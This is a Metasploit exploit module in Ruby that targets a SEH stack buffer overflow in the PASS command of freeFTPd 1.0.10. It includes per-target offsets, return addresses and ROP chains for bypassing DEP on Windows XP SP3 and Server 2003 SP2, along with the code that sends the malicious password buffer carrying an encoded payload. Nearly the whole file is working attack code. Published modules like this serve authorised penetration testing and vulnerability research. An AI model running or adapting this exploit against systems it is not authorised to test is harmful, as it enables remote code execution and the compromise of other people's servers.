|
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'freeFTPd 1.0.10 PASS Command SEH Overflow',
'Description' => %q{
This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
credit goes to Wireghoul.
},
'Author' =>
[
'Wireghoul - www.justanotherhacker.com',
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>',
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '96517' ],
[ 'EDB', '27747' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x20\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP3 EN - DEP', { 'Ret' => 0x00493EDE, 'Offset' => 952 } ],
[ 'Windows 2003 Server SP2 EN - DEP', { 'Ret' => 0x00493EDE, 'Offset' => 797 } ],
[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x004142f0 , 'Offset' => 797 } ],
],
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
connect
buf = rand_text_english(1000)
case target_index()
when 0
print_status("Target ID: #{target.name}")
rop =
[
0x77c23960,
0x77c23960,
0x77c53436,
0x042444DE,
0x77c4d04e,
0xFBDBBB62,
0x77c2c7ae,
0xFBDBBD23,
0x77c46101,
0x77c46101,
0x77c46101,
0x77c46101,
0x77c46101,
0x77c4e392,
0x042444DE,
0x77c50c77,
0x77c3b1ad,
0x77c62f18,
0x77c46116,
0x77c46101,
0x77c2eb03,
0x77c2aacc,
0x77c21d16,
0x77c11120,
0x77c12df9,
0x77c35524,
].flatten.pack("V*")
rop << make_nops(32)
rop << payload.encoded
buf[12,rop.length] = rop
when 1
print_status("Target ID: #{target.name}")
rop =
[
0x77bb2563,
0x77ba1114,
0x77bbf244,
0x41414141,
0x77bb0c86,
0x77bac27e,
0x77be2265,
0x77be1ef3,
0xFBDBBB63,
0x77bcb691,
0x042444DD,
0x77bbd50e,
0xFBDBBD23,
0x77BDFE3E,
0x77BDFE3E,
0x77BDFE3E,
0x77BDFE3E,
0x77BDFE3E,
0x77BC541C,
0x77be2219,
0x77BDFE37,
0x77bcadff,
0x77bf2cfc,
0x77bd88b8,
0x77bd8c05,
0x77be3adb,
0x90909090,
0x77be6591,
].flatten.pack("V*")
rop << make_nops(32)
rop << payload.encoded
buf[49+40,rop.length] = rop
when 2
print_status("Target ID: #{target.name}")
buf[(target['Offset']-11) - payload.encoded.length, payload.encoded.length] = payload.encoded
buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"
buf[target['Offset'],4] = [0xfffff9eb].pack("V")
end
buf[target['Offset']+4,4] = [target.ret].pack('V')
print_status("Sending exploit buffer...")
send_user(datastore['FTPUSER'])
send_pass(buf)
handler
disconnect
end
end
|